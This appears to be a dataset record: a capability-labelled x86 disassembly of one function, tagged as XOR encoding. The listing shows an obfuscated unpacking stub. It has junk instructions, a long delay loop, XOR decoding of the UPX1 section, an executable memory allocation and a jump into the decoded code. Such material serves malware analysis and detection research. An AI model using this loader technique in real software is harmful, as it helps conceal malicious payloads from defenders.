Function at 0x47b434
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xdbd7cb53
inc eax
not ebx
sub eax, ebx
popal
add eax, ebx
mov eax, ebx
mov ebx, 0
mov ecx, edi
dec esi
add eax, esi
not esi
mov edx, ecx
not eax
mov eax, esi
mov esi, eax
mov edi, edx
not esi
inc esi
add ebx, 1
mov esi, 0x837dcb6a
add esi, esi
mov esi, eax
cmp ebx, 0x100bf96
jne 0x47b449
or esi, eax
add eax, 0x3b6b4d08
add ebx, 1
or ebx, ebx
mov ecx, 0x47b21e
add edi, 0xca0874ac
add eax, 1
mov esi, 0x47b412
add edi, 0x89f430cb
inc eax
mov ebx, dword [ecx]
sub eax, 0x24a2d8e0
sub eax, 0x62446390
and eax, edi
and ebx, 0xff
add edi, edi
dec edx
sub eax, edx
xor dword [esi], ebx
or edi, edx
sub eax, 0x7d942d75
add esi, 1
add eax, 0x47398fa3
or eax, edi
not edx
inc ecx
and eax, eax
inc eax
and eax, edi
cmp esi, entry0
jl 0x47b4a5
mov edx, eax
mov eax, 0x26b02de9
not edi
sub eax, edx
sub eax, edi
mov edx, 0xfe0f0110
or edx, edx
mov ebx, 0x47b416
inc edi
not ecx
not edx
mov ebx, dword [ebx]
inc edi
or esi, ecx
mov ebx, dword [ebx]
sub ecx, 0xfb759e3c
add edx, ecx
push ebx
mov edx, 0xd3229d23
sub ecx, 1
sub edx, ecx
mov ebx, 0x47b412
sub edi, esi
add edx, edx
mov ebx, dword [ebx]
mov edi, 0xa2f615fa
add edx, ecx
sub ecx, edx
mov ebx, dword [ebx]
add edi, 0xb80dae10
dec esi
and ecx, edi
sub esp, 4
mov dword [esp], 0x47b41a
sub edx, esi
sub edi, edx
dec esi
call ebx
and esi, edx
mov edx, esi
mov edi, 0x1698362f
pop ebx
dec edi
mov ecx, 0x4dd7576f
push 0x47b427
sub ecx, 0xfaf5f241
not esi
sub esp, 4
mov dword [esp], eax
dec edi
add edx, 0x13c87a09
call ebx
or esi, esi
and edx, esi
push 0x40
add esi, 0xc753a90
not esi
sub edx, ecx
push 0x3000
add esi, esi
sub ecx, esi
or edx, edx
sub esp, 4
mov dword [esp], 0x20000b2d
sub edi, 1
mov ecx, edi
mov esi, 0x4b1fa8
push 0
and edi, edx
or edi, edi
call eax
add ecx, ecx
add ecx, 0x5833a9dd
add eax, 0x20000aac
not edi
mov ecx, 0x2925ceb
mov ebx, 0xace75267
mov edi, 0x9636f5d1
not ecx
mov dword [eax], ebx
or edx, edi
mov esi, ecx
mov ebx, dword [eax]
dec ecx
add esi, 0x4d621d5c
sub edi, 0x13b99c38
cmp ebx, 0xace75267
je 0x47b608
mov eax, 0
mov ecx, dword [eax]
sub esi, edx
sub esi, 0x37ed4ecd
dec edx
mov edx, esi
sub esi, 0x7cfb5153
mov ecx, esi
inc eax
or ebx, eax
mov ecx, section.UPX1
and eax, eax
add ebx, eax
or ebx, eax
mov edx, 0x47b21d
mov ebx, eax
sub ebx, eax
add ebx, 0xf70bccfd
mov edi, 0
and ebx, ebx
mov ebx, 0xaf56ccd3
mov esi, 0x47b21e
add eax, 0xea152d3c
mov eax, 0xe924a9ea
lea esi, [edi + esi]
or ebx, ebx
sub ebx, 0xb46af551
inc eax
mov esi, dword [esi]
add ebx, ebx
sub ebx, 0x34bbfdd3
and esi, 0xff
add eax, eax
dec eax
inc ebx
inc edi
or ebx, ebx
sub ebx, 1
inc eax
cmp edi, 0x1f4
jne 0x47b68b
mov edi, 0
inc eax
inc ebx
sub ebx, eax
not ebx
or eax, ebx
xor dword [ecx], esi
mov ebx, eax
mov eax, ebx
not eax
add ecx, 2
inc ebx
sub ebx, eax
cmp ecx, edx
jl 0x47b644
dec ebx
mov ebx, 0x80525a79
add ebx, ebx
sub eax, ebx
add eax, eax
mov edx, section.UPX1
mov eax, ecx
or ecx, ecx
mov esi, section.UPX1
not eax
sub ecx, eax
not eax
mov edi, 0x47b21d
inc ecx
not eax
mov ebx, 0
or ecx, eax
sub ecx, eax
mov bl, byte [esi]
sub ecx, eax
sub eax, 1
mov byte [edx], bl
mov eax, ecx
or eax, ecx
or ecx, eax
inc edx
mov ecx, 0x9b30f9cf
dec eax
add esi, 2
add eax, 1
add eax, eax
cmp esi, edi
jle 0x47b6dd
add eax, ecx
and eax, ecx
sub ebx, eax
sub eax, 0xefc8b331
push 0x45e6a0
add ebx, ebx
sub ebx, 1
or eax, eax
ret